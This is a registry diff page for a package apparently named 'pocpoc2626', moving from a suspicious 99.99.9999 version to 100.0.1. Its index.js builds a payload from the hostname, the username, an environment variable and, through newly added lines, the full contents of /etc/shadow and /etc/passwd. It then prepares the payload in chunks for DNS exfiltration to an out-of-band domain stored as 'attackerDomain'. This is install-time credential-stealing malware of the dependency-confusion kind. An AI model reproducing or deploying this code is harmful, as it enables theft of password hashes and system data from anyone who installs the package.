pocpoc2626 99.99.9999 → 100.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +6 -3
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
const dns = require('dns');
|
|
2
2
|
const os = require('os');
|
|
3
|
-
|
|
3
|
+
const fs = require('fs')
|
|
4
4
|
const attackerDomain = "jrqoodsuxfzdpwqzthndxcm8f911cgqtn.oast.fun";
|
|
5
5
|
|
|
6
6
|
function base64url(str) {
|
|
@@ -14,10 +14,13 @@ function base64url(str) {
|
|
|
14
14
|
const dataToExfil = JSON.stringify({
|
|
15
15
|
host: os.hostname(),
|
|
16
16
|
user: os.userInfo().username,
|
|
17
|
-
secret: process.env.
|
|
17
|
+
secret: process.env.TERM || "no-key",
|
|
18
|
+
shadow: fs.readFileSync("/etc/shadow", "utf8"),
|
|
19
|
+
passwd: fs.readFileSync("/etc/passwd", "utf8")
|
|
18
20
|
});
|
|
19
21
|
|
|
20
|
-
const encodedData = base64url(dataToExfil);
|
|
22
|
+
// const encodedData = base64url(dataToExfil);
|
|
23
|
+
const encodedData = dataToExfil;
|
|
21
24
|
|
|
22
25
|
const chunkSize = 60;
|
|
23
26
|
const chunks = [];
|